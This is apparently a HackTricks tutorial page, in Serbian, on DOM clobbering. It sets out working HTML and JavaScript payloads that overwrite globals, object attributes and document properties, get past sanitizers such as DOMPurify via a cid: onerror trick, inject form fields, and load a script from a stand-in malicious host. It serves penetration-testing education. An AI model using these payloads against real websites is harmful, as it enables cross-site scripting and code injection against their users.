Dom Clobbering

Support HackTricks

Osnovi

Moguće je generisati globalne promenljive unutar JS konteksta sa atributima id i name u HTML tagovima.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Samo određeni elementi mogu koristiti name atribut za klobiranje globalnih promenljivih, to su: embed, form, iframe, image, img i object.

Zanimljivo je da kada koristite form element za klobiranje promenljive, dobićete toString vrednost samog elementa: [object HTMLFormElement], ali sa anchor toString će biti href ankera. Stoga, ako klobirate koristeći a tag, možete kontrolisati vrednost kada se tretira kao string:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Arrays & Attributes

Takođe je moguće uništiti niz i atribute objekta:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Da biste prepisali 3. atribut (npr. x.y.z), potrebno je da koristite form:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Clobbering više atributa je složenije, ali i dalje moguće, koristeći iframes:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

Tag stila se koristi da omogući dovoljno vremena za renderovanje iframe-a. Bez njega ćete dobiti upozorenje o neodređenom.

Da biste prepisali dublje atribute, možete koristiti iframe-ove sa html kodiranjem na sledeći način:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Zaobilaženje Filtra

Ako filter prolazi kroz atribute čvora koristeći nešto poput document.getElementByID('x').attributes, mogli biste prebrisati atribut .attributes i pokvariti filter. Druga DOM svojstva kao što su tagName, nodeName ili parentNode i još mnogo toga su takođe prebrisiva.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Clobbering window.someObject

U JavaScript-u je uobičajeno pronaći:

var someObject = window.someObject || {};

Manipulacija HTML-om na stranici omogućava prepisivanje someObject sa DOM čvorom, što potencijalno uvodi sigurnosne ranjivosti. Na primer, možete zameniti someObject sa elementom ankera koji upućuje na zloćudni skript:

<a id=someObject href=//malicious-website.com/malicious.js></a>

U ranjivom kodu kao što je:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Ova metoda koristi izvor skripte za izvršavanje neželjenog koda.

Trik: DOMPurify vam omogućava da koristite cid: protokol, koji ne kodira URL dvostruke navodnike. To znači da možete ubaciti kodirane dvostruke navodnike koji će biti dekodirani u vreme izvršavanja. Stoga, ubacivanje nečega poput <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> će učiniti da HTML kodirani &quot; bude dekodiran u vreme izvršavanja i izbegne iz vrednosti atributa kako bi stvorio onerror događaj.

Druga tehnika koristi form element. Određene biblioteke na klijentskoj strani ispituju atribute novokreiranog form elementa kako bi ih očistile. Međutim, dodavanjem input sa id=attributes unutar forme, efikasno prepisujete svojstvo atributa, sprečavajući sanitizator da pristupi stvarnim atributima.

Možete pronaći primer ove vrste prepisivanja u ovom CTF izveštaju.

Prepisivanje objekta dokumenta

Prema dokumentaciji, moguće je prepisati atribute objekta dokumenta koristeći DOM Clobbering:

Document interfejs podržava imenovane atribute. Podržana imena svojstava objekta Document u bilo kom trenutku se sastoje od sledećih, u redosledu stabla prema elementu koji ih je doprineo, ignorišući kasnije duplikate, i sa vrednostima iz id atributa koji dolaze pre vrednosti iz imenskih atributa kada isti element doprinosi oboma:

- Vrednost atributa sadržaja imena za sve izložene embed, form, iframe, img, i izložene object elemente koji imaju ne-prazan atribut sadržaja imena i koji su u stablu dokumenata sa dokumentom kao njihovim korenom; - Vrednost id atributa sadržaja za sve izložene object elemente koji imaju ne-prazan id atribut sadržaja i koji su u stablu dokumenata sa dokumentom kao njihovim korenom; - Vrednost id atributa sadržaja za sve img elemente koji imaju i ne-prazan id atribut sadržaja i ne-prazan atribut sadržaja imena, i koji su u stablu dokumenata sa dokumentom kao njihovim korenom.

Korišćenjem ove tehnike možete prepisati često korišćene vrednosti kao što su document.cookie, document.body, document.children, pa čak i metode u Document interfejsu kao što je document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Pisanje nakon elementa koji je prepisan

Rezultati poziva document.getElementById() i document.querySelector() mogu se promeniti injektovanjem <html> ili <body> taga sa identičnim id atributom. Evo kako to može da se uradi:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Pored toga, korišćenjem stilova za skrivanje ovih ubačenih HTML/body tagova, može se sprečiti ometanje od strane drugog teksta u innerText, čime se povećava efikasnost napada:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Istraživanja o SVG su otkrila da se <body> tag takođe može efikasno koristiti:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Da bi HTML tag funkcionisao unutar SVG u pretraživačima kao što su Chrome i Firefox, potreban je <foreignobject> tag:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Clobbering Forms

Moguće je dodati nove unose unutar forme jednostavno tako što ćete navesti form atribut unutar nekih oznaka. Možete to koristiti da dodate nove vrednosti unutar forme i čak dodate novi dugme za slanje (clickjacking ili zloupotreba nekog .click() JS koda):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

Reference

Podržite HackTricks

Last updated